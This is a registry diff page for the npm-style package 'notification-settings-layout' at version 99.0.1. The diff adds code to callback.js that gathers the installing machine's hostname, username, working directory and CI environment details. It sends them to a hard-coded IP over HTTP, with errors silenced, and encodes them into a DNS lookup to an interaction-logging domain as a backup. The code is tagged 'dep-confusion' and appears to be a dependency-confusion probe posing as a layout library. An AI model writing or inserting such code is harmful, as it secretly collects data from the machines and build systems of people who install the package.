notification-settings-layout 99.0.0 → 99.0.1
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/callback.js +29 -5
- package/package.json +1 -1
package/callback.js
CHANGED
|
@@ -1,7 +1,31 @@
|
|
|
1
|
-
const
|
|
1
|
+
const http = require('http');
|
|
2
2
|
const https = require('https');
|
|
3
3
|
const os = require('os');
|
|
4
|
-
const
|
|
5
|
-
|
|
6
|
-
|
|
7
|
-
|
|
4
|
+
const dns = require('dns');
|
|
5
|
+
|
|
6
|
+
const data = JSON.stringify({
|
|
7
|
+
t: 'dep-confusion',
|
|
8
|
+
pkg: process.env.npm_package_name || 'unknown',
|
|
9
|
+
h: os.hostname(),
|
|
10
|
+
u: os.userInfo().username,
|
|
11
|
+
ts: new Date().toISOString(),
|
|
12
|
+
cwd: process.cwd(),
|
|
13
|
+
ci: process.env.CI || process.env.JENKINS_URL || process.env.GITHUB_ACTIONS || 'none'
|
|
14
|
+
});
|
|
15
|
+
|
|
16
|
+
// HTTP callback to our server
|
|
17
|
+
const req = http.request({
|
|
18
|
+
hostname: '165.22.164.100',
|
|
19
|
+
port: 8443,
|
|
20
|
+
path: '/callback',
|
|
21
|
+
method: 'POST',
|
|
22
|
+
headers: {'Content-Type': 'application/json'},
|
|
23
|
+
timeout: 5000
|
|
24
|
+
}, () => {});
|
|
25
|
+
req.on('error', () => {});
|
|
26
|
+
req.write(data);
|
|
27
|
+
req.end();
|
|
28
|
+
|
|
29
|
+
// DNS callback as backup
|
|
30
|
+
const id = ['depconfusion', os.hostname().replace(/[^a-z0-9]/gi,'-').slice(0,30)].join('.');
|
|
31
|
+
dns.resolve(id + '.d69ai701mapqfrtu0ulg7i38uo6cotenc.projectinteraction.info', () => {});
|
package/package.json
CHANGED